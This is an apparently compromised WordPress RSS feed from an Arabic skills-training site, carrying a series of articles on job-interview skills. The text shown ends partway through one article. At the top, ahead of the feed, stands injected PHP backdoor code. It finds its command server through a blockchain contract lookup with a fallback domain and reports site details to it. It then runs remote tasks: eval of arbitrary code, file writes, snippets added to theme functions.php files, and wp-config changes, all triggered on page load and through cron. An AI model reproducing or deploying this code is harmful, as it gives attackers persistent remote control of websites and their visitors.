// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); د / محمود الضابط Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Tue, 01 Aug 2023 12:09:01 +0000 ar hourly 1 https://wordpress.org/?v=6.3.12 سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثالثة https://cameknowledge.camecenter.com/articles/interview_skills-3/ https://cameknowledge.camecenter.com/articles/interview_skills-3/#respond Sat, 08 Apr 2023 13:10:02 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10450 سلسلة مقالات – مهارات اجراء المقابلات بقلم د/ محمود الضابط   المقالة الثالثة الأسئلة المعتادة: هناك بعض الأسئلة المألوفة والتي غالباً ما يتم السؤال عنها خلال المقابلة يجب أن تعرفها وتتدرب على الإجابة عليها مثل :- – لماذا تريد أن تعمل في شركتنا أو لماذا التحقت بهذا العمل ؟ الهدف من هذا السؤال هو معرفة مدى […]

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – مهارات اجراء المقابلات

بقلم د/ محمود الضابط  

المقالة الثالثة

الأسئلة المعتادة:
هناك بعض الأسئلة المألوفة والتي غالباً ما يتم السؤال عنها خلال المقابلة يجب أن تعرفها وتتدرب على الإجابة عليها مثل :-
– لماذا تريد أن تعمل في شركتنا أو لماذا التحقت بهذا العمل ؟
الهدف من هذا السؤال هو معرفة مدى حرصك على هذه الوظيفة وإمكاناتك للفوز بها
حاول أن تبرز المعلومات التي حصلت عليها والمتعلقة بالشركة والمهارات التي تكتسبها والمزايا التي ستحصل عليها الشركة من عملك بها، واحذر أن تذكر انك ترغب في تحسين دخلك أو أن الرواتب لديكم مرتفعة …الخ

– تحدث عن نفسك ومواهبك و هواياتك؟
الهدف من السؤال كما ترى هو معرفة كيف ترى نفسك وبالتالي كيف تتوقع أن يراك الآخر
استخدم عبارات موجزة للوصف نفسك والتعبير عن قدراتك وخبراتك العلمية والعملية والمهارات الخاصة والهوايات ( لاحظ أن بعض الهوايات لها دلالات معينة مثل القراءة أو لعب الشطرنج أو الموسيقى  .)

أين عملت قبل ذلك ؟
الهدف من السؤال التعرف على خبراتك السابقة وقدراتك الخاصة , حاول أن تذكر الأعمال ذات العلاقة الوثيقة بالوظيفة التي تتقدم لها أولاً فهي تعطى انطباع جيد.

 

هل عملت أثناء الدراسة ولماذا؟
هدف السؤال هو معرفة الدوافع الحقيقية التي جعلتك تعمل أثناء الدراسة وهل هي دوافع مادية بحتة أم دوافع عملية كاكتساب الخبرة والمهارة .

ما هو الراتب الذي كنت تحصل عليه من عملك السابق ؟
يهدف هذا السؤال إلى التعرف على وضعك المادي في العمل السابق مقارنة إجاباتك بأسباب تركك للعمل واكتشاف التناقض بينهما كن أمينا وصادقاً دائماً .

لماذا تركت عملك السابق ؟
من أهم الأسئلة التي تتعرض لها والهدف منه التعرف على ما إذا كانت هناك مشاكل وجدتها في عملك السابق وكيف تعاملت معها، كن صادقاً في تحديد الأسباب وركز على أسبابك المتعلقة بالطموحات مثل عدم وجود فرصة للترقي، ولا مانع من أن تذكر أسباباً عامة.

كيف تعرفت على الوظيفة المعلن عنها ؟
يهدف هذا السؤال إلى معرفة مدى اهتمامك بالحصول على العمل هل عرفت بالصدفة أم من صديق أم من متابعة أخبار الشركة في وسائل الإعلام أو غير ذلك و هنا تبرز أهمية المعلومات التي قمت بجمعها عن الشركة .

 

ما هو الراتب الذي تريد الحصول عليه من العمل معنا؟
حاول ألا تجيب على هذا السؤال بشكل مباشر بل اجتهد لتحصل أنت على إجابته من صاحب العمل كأن تسأله عن الراتب الذي يتقاضاه أفضل الموظفين لديه أو أن تسعى في البحث عن متوسطات الرواتب في الوظائف المشابهة ثم حدد مدى أو متوسط يمكن أن يتحرك فيه المرتب المنتظر ولا تتجاوز في توقع المرتب.(لاحظ أن هذا السؤال ذو حدين فلو توقعت مرتباً منخفضاً قد تحرم نفسك من مرتب أعلى قد تمنحه لك الشركة أما إذا توقعت راتباً مبالغاً فيه فقد يصرف اهتمام صاحب العمل عنك لوجود هوة واسعة بين ما تتوقعه وما ستحصل عليه.


أسئلة تريد الاستفسار عنها :

      حاول أن تدون الأسئلة التي ترغب في سؤال صاحب العمل الجديد عنها أثناء المقابلة الشخصية في مفكرة جانبية، ولا تسال عنها قبل أن ينهى هو الحديث وتحاشى الأسئلة السلبية كان تسال عن إمكانية الانتقال إلى فرع آخر أو إمكانية العمل أيام العطلات.

 

نماذج للأسئلة :
هل تقومون بإعداد برنامج تريبي للموظفين الجدد؟
ما المدة التي يستغرقها هذا البرنامج ؟
ما المهام الوظيفية التي سيقوم بها من يحصل على هذه الوظيفة ؟
ما فرص الترقي الموجودة لديكم؟
ماذا يمكن أن أكون بعد مرور خمس سنوات على في العمل ؟

 

 

الخلاصة

  • إن نجاح أعمال الشركات و أرباحها و إنجازاتها ليست إلا التعبير العملي و الفعلي لأداء موظفيها و عمالها.
  • إن امتلكت أفضل المعدات وأحدث البرامج، لن تصل إلى التميز دون وجود العنصر البشري المهم، هذا العنصر القادر على تطوير وظيفته و على إدخال أساليب حديثة في تنفيذه لمهماته .
  • لم نعد في عصر يتطلب وجود صف واحد من الموظفين المتميزين و هم المدراء أو المسؤولون، أما البقية فهم عمال منفذون لا يعرفون إلا تنفيذ الأوامر المتجهة من الأعلى إلى الأسفل بل يتطلب هذا العصر تساوي و تقابل بين الوظيفة و الفرد و بتالي كلما كان التقابل و التوازن موجود بين ما تتطلبه كل وظيفة و كفاءة الموظف نستطيع الاقتراب من تحقيق الأداء الأمثل و جودة تأدية العمل .
  • إن اختيار الموظفين بطريقة علمية موضوعية هو خطوة أساسية على طريق النجاح، لأن هؤلاء الموظفين هم أنفسهم من سيعملون على تحقيق أهداف الشركة و سيعملون على تمثيلها وتحويل ما هو موجود على أجهزة الكمبيوتر و الأوراق إلى إنتاج مادي ملموس.

***

انتهت بحمد الله مقالات مسار كيم التعليمي لمهارات اجراء المقابلات

بقلم د/ محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/interview_skills-3/feed/ 0 سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثانية https://cameknowledge.camecenter.com/articles/interview_skills-2/ https://cameknowledge.camecenter.com/articles/interview_skills-2/#respond Sat, 08 Apr 2023 13:05:46 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10448 سلسلة مقالات – مهارات اجراء المقابلات بقلم د/ محمود الضابط   المقالة الثانية مراحل وخطوات إجراء مقابلات التوظيف:      هناك عدة تقسيمات للمقابلات بعضها بشكل مجمل، وبعضها أكثر تفصيلاً لإبراز أهمية التفصيلات منها: التحضير لإجراء مقابلات التوظيف. افتتاح مقابلات التوظيف. تسيير مقابلة التوظيف. اختتام مقابلة التوظيف وتدوين الملاحظات. تقييم نتائج مقابلات التوظيف. ( غطاس 1997م […]

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – مهارات اجراء المقابلات

بقلم د/ محمود الضابط  

المقالة الثانية

  • مراحل وخطوات إجراء مقابلات التوظيف:

     هناك عدة تقسيمات للمقابلات بعضها بشكل مجمل، وبعضها أكثر تفصيلاً لإبراز أهمية التفصيلات منها:

  • التحضير لإجراء مقابلات التوظيف.
  • افتتاح مقابلات التوظيف.
  • تسيير مقابلة التوظيف.
  • اختتام مقابلة التوظيف وتدوين الملاحظات.
  • تقييم نتائج مقابلات التوظيف. ( غطاس 1997م ).

هذا نوع من التقسيم لا يُخالف التقسيم التالي :

 

مراحل المقابلة :

 هناك ثلاث مراحل أساسية للمقابلة وهي :

  • مرحلة ما قبل المقابلة.
  • مرحلة تنفيذ المقابلة.
  • مرحلة ما بعد المقابلة.

 

  • مرحلة ما قبل المقابلة :

  ينبغي الإعداد والتخطيط لها بصورة مناسبة وتوفير ما يلزم لنجاحها مثل:

تحديد نوع المقابلات ( هل هي منتظمة موجهة،أو شبه منتظمة، أو غير منتظمة،أو مفتوحة ) وعددها (قد تكون مقابلة أولية للفرز ، رئيسية ، نهائية، أو يُكتفى بواحدة) ،مع كل مرشح ومن سيتولى إجراءها، وهل هو فرد واحد أو لجنة، علماً أن اللجنة أفضل من ناحية صدق المقابلة، والبُعد عن التحيز ، وتختلف حسب حجم المنظمة وأهمية الوظيفة ، وينبغي أن يكون المقابِل متدرباً على إعداد الأسئلة،والطرح، ومهارات الاتصال الشخصية،وكيفية تدوين الملاحظات أثناء المقابلة،واستخدام مقاييس التقويم،والحذر من أخطاء (تأثير الهالة، وتأثير التساهل…)، ( رشيد  1425هـ) .

ويفترض في الذي يُجري المقابلة :

  • اللباقة والفطنة والبداهة الفكرية واللغوية ،وطول النفس، وحُسن التعامل(براك 2004)
  • استعداد المسئول عن إجراء المقابلة بمعرفة مهام ومواصفات الوظيفة لكي يتم طرح الأسئلة المناسبة على المرشح ، ويطلع على إعلان الوظائف وطريقته والشروط المطلوبة في الإعلان ، ويُحدد مواصفات المرشح الأنسب لشغلها سواءً من مؤهلات دراسية ،أو تدريب ، أو خبرات سابقة ، أو مهارات أو لغات…،و سلم الدرجات والرواتب والمزايا الأخرى…
  • تنظيم وتحديد زمان ومكان المقابلة وتهيئة المكان لإجراء المقابلة، الكراسي ، وضعية ومكان الجلوس للمقابل والمرشح ، وقاعة الانتظار إذا كان العدد كبيراً، ووضع نشرات إعلامية عن المؤسسة، وإبلاغ المرشح بالزمان والمكان.
  • مراجعة وتقييم طلبات التوظيف، استعراض السيرة الذاتية لطالب الوظيفة.
  • وقبل المقابلة مباشرة يُحاول حفظ اسم المرشح ومعلوماته والأسئلة التي يسألها.
  • يُحدد المدة الزمنية لكل مقابلة ( ليس هناك وقت محدد، حسب أهميتها) وكثرة المتقدمين وتوزيع الوقت بينهم.(غطاس. 1997م)

 

  • مرحلة إجراء المقابلة:
  • يجب تهيئة الجو العام ، وإزالة التوتر النفسي للمتقدم، عن طريق تحيته والترحيب به بأسلوب ودي والبدء بموضوع بعيد عن موضوع المقابلة.
  • عرض خطة المقابلة على المرشح (تشمل هدفها،موقعها في المقابلات الأخرى، وقت المقابلة تقريباً، المواضيع التي سيتم تغطيتها) إذا لم تكن المقابلة مفتوحة.
  • يجب إتاحة الفرصة للمتقدم بالحديث عن نفسه وتجاربه.
  • استكمال المعلومات الناقصة من طلب الوظيفة ( لا بد من الاطلاع على الطلبات قبل اللقاء
  • يجب أن يسيطر على المقابلة (لا يتنازل عن دوره في إدارتها ،منذ الافتتاح وحتى النهاية) وليس معنى السيطرة الشدة أو الاستئثار بالحديث ، بل يوجه المقابلة إلى مسارها الصحيح وفق خطة المقابلة التي حددها.
  • يكون نسبة الحديث 50% لكل منهما، والبعض قال 80% أو تقريباً للمرشح ليتم معرفة كل ما لديه ثم الحكم بناءً على ما يعرض.
  • يتبع أسلوب موحد مع جميع المرشحين ، حسب ما خطط له هل الأسئلة موجهة أم مفتوحة…
  • الأسئلة تحث على الصراحة .
  • واضحة بلا غموض لا تحتمل أكثر من معنى.
  • مناسبة لمستوى المتقدم، لا يكون جوابها بنعم ، ولا.
  • لا تكون الأسئلة توحي بالجواب، ألا ترى ، أليس من الأفضل…
  • الحرص على الإصغاء لما يقوله.
  • يحرص على تسجيل معلومات كاملة وملاحظات المقابلة، لا يعتمد على الذاكرة لأنه ينسى مع تعدد المقابلات.
  • وهناك أسلوب لتدوين الملاحظات:
  • يجب تدوين الملاحظات الضرورية باختصار وهذا يتطلب خبرة وتعلم .
  • يجب أن لا يلجأ إلى التدوين بصورة فجائية وملفتة خاصة إذا كان المرشح قد أخطأ أو تلعثم، بل يجعلها في فترة قصيرة خلال التوقف بين الأسئلة.
  • ويجب الحذر من العوامل المؤثرة على صدق وثبات المقابلة مثل:
  • عدم ارتباط مضمون المقابلة بمحتوى العمل ، لكي نتنبأ بالنجاح في أداء العمل.
  • التأثر بالعوامل غير الموضوعية مثل: التأثر بمهارات الاتصال الشخصية،والمظهر الخارجي….، والملاحظ أن هناك مهارات يتعلمها المتقدمون للمقابلات الشخصية وهي علم متكامل وله إرشادات ، كيف يُسوق المرء لنفسه، كيف يجذب الانتباه، كيف يتقن مهارات الاتصال فيكون المقابل على وعي بها ، وأخذها في الاعتبار عند إجراء المقابلة.
  • التحيزات الشخصية لدى المقابل التي تؤدي إلى الحكم على المقابل لعوامل منها: جنس المتقدم، عرقه، عمره، والحذر من التمييز ، وهناك دول تُجرم هذه الطريقة.
  • التنميط: بإعطاء أحكام مسبقة عن الأفراد الذين ينتمون إلى جماعات أو فئات أو جهة، أو جيل .
  • التركيز على الجوانب السلبية وإعطائها وزناً أكبر من الإيجابية أو العكس.
  • تأثيرات التضاد : فإذا جاء متقدم سيئ الأداء قبل متوسط الأداء فإنه يُعطيه درجه أعلى مما لو سبقه أشخاص متميزون.

 

إنهاء المقابلة: 

يعتمد إنهاءها على المهارة كما هي بدايتها، من هذه المهارات:

  • ينبغي أن لا تُقطع بصورة فجائية حتى ولو اتضح أن الشخص لا يملك المقومات الأساسية .
  • يُسأل المرشح هل لديه ما يود إضافته، وإتاحة الفرصة له لطرح ما لديه من استفسارات.
  • وكذلك يتم التأكد من استمرار المرشح من اهتمامه بالوظيفة، فقد يتضح له معلومات تجعله يصرف النظر عن الوظيفة أو يقل حماسه لها.
  • إبلاغ المرشح بالمراحل المتبقية من عملية الاختيار: يُحدد له التأريخ التقريبي لإعلامه بالنتيجة.
  • يتم شكره بأسلوب لبق ومهذب ، ثم توديعه بطريقة لائقة، ربما يخرج معه إلى باب القاعة.

 

  • مرحلة ما بعد المقابلة ( تقويم المرشح):

    بعد نهاية المقابلة ومغادرة المرشح يتم تقويم أداءه في المقابلة مباشرة لأن المعلومات حاضرة في ذهن أعضاء اللجنة.

يُفترض أن يشمل التقويم :

  • العناصر المتعلقة بالوظيفة مثل اهتمامه بالمؤسسة والوظيفة، المؤهل العلمي،التدريب….
  • والعناصر المتعلقة بالصفات الشخصية، الحزم، الذكاء، المنطق، الانفتاح، الطموح، اللباقة،الاتزان، المظهر، مهارات التواصل مع الآخرين….
  • تختلف الحاجة لبعض هذه الصفات في بعض الوظائف، حسب نوع الوظيفة…
  • يستحسن أن يكون التقويم فردي من كل عضو، ثم مناقشة تقويمهم بشكل جماعي ، يُنظر للملاحظات التي قيدت أثناء المقابلة، يتم استخدام نموذج يقيس أبعاداً معينة مثل مهارات الاتصال ، المهارة في التخطيط ، مهارات القيادة، وهكذا…

 

التأكد من المصادر الأخرى: 

     بغرض التحقق من المعلومات التي تم الحصول عليها من المتقدم لشغل الوظيفة ، كما تعتبر أحد أهم نُظم التوظيف في المنظمات الحديثة ، وتتضمن الاتصال بجهات العمل السابقة للسؤال عن مستوى أدائه، وسلوكياته، ومبررات تركه للعمل ،لأن الأداء المستقبلي يمثل امتداد للأداء السابق.

ومن المنطق الحصول على أكبر قدر من المعلومات حول المرشحين لأن الفشل في ذلك قد يترتب عليه آثار سيئة بالنسبة للمنظمة (المسلم 2005م).  

 

إبلاغ المرشحين بنتائج التقييم:

    نظراً لأن كل مرشح سيبقى ينتظر نتائج المقابلة ويرغب معرفة هل تم اختياره أم لا فإن من اللائق أن تقوم المؤسسة بإعلام جميع المرشحين الذين تمت مقابلتهم بنتائج التقييم ليكون على بينة من أمره، ومن الضروري مراعاة الآتي:

  • إبلاغ المرشح الذي تم اختياره بأقصى سرعة قبل أن يوقع عقداً مع مؤسسة أخرى، خاصة إذا كان متميزاً.
  • الاتفاق مع المرشح الذي تم اختياره وتوقيع العقد معه قبل الاتصال ببقية المرشحين الذين لم يتم اختيارهم.
  • الاتصال بالمرشحين الذين لم يتم اختيارهم لإبلاغهم بذلك.
  • عدم الاستفاضة في حال إبلاغهم كتابياً أو شفوياً ، في تبرير عدم اختيار المرشح المرفوض
  • صياغة طريقة الإبلاغ سواءً شفوياً أو تحريرياً،بطريقة تحفظ نوعاً من العلاقة مع المرشح خاصة إذا حصل على نسبة جيدة فربما يتم اللجوء إليه مستقبلاً.
  • عدم تقديم وعود بالتوظيف (غطاس1997م).

أظهرت دراسات علمية أن أهم عوامل ضعف المقابلات : تحيز المقابل،حكم المقابل على المتقدم بناءً على انطباعه عن فترة بداية المقابلة وليس عن المقابلة كلها.عدم الإنصات أثناء المقابلة، قصر وقت المقابلة، عدم التخطيط والتجهيز للمقابلة.

ما هو الواقع الحالي لمقابلات التوظيف؟

يوجد تطبيقات للمقابلات سواءً في الخدمة المدنية ،أو في القطاع الخاص.

في نظام الخدمة المدنية:المسابقات الوظيفية في المرتبة العاشرة فما دون ترسلها الجهة الحكومية إلى وزارة الخدمة المدنية وفق حاجتها، وتتضمن عقد امتحان أو مقابلة شخصية للمتقدمين للوظائف المعلن عنها. كذلك كثيراً ما يتم إتباع أسلوب المقابلة في وظائف التعليم العام أو أعضاء هيئة التدريس والأطباء، أو بعض الوظائف المستثناة مثل موظفي هيئات الأمر بالمعروف والنهي عن المنكر.ويتوقف زمن المقابلة ومحتواها على نوعية الوظائف المطلوب شغلها، وقد أعدت الإدارة العامة للتوظيف والامتحان بوزارة الخدمة المدنية نموذجاً خاصاً للمقابلات الشخصية، وأبرز ما فيه أنه يحوي وصفاً للوظيفة التي تتم المقابلة بشأنها، وأما المرتبة الخامسة فما دون فقد فوضت صلاحية التعيين للوزير المختص وفق ضوابط محددة ، وقد تُجرى مقابلات وظيفية تُعدها الجهة .(رشيد.مازن فارس 1425هـ).

 

  • المقابلة من وجهة نظر المتقدم لشغل الوظيفة (وجهة النظر الأخرى):

تعتبر المقابلة الشخصية بحق هي الخطوة الأهم لكي تحصل على وظيفة مناسبة بشرط أن يسبقها كتابة سيرة ذاتية بشكل يلفت انتباه صاحب العمل مما يجعله يرشحك للمقابلة الشخصية؛ فاحرص دائماً على أن تكون الأفضل ولا تخشى المنافسة مهما كانت ويكفيك أن تخوض التجربة .

أنواع المقابلات الشخصية :

المقابلة الشخصية الفردية:

وفيها يكون اللقاء بين صاحب العمل وطالب العمل مباشراً ووجهاً لوجه والهدف من هذه الطريقة هو التعرف عن قرب على القدرات التي يمتلكها الفرد وعليك لكي تنجح في هذه المقابلة أن تنصت جيداً لمحدثك وتتعرف أكثر على طريقته وأسلوبه وحاول أن توجد نوع من الألفة والود بينك وبين محدثك الذي سريعاً ما سيشعر برغبتك هذه ويعينك عليها خاصة إذا ما حاولت أن تحاكيه.

المقابلة الشخصية الجماعية:
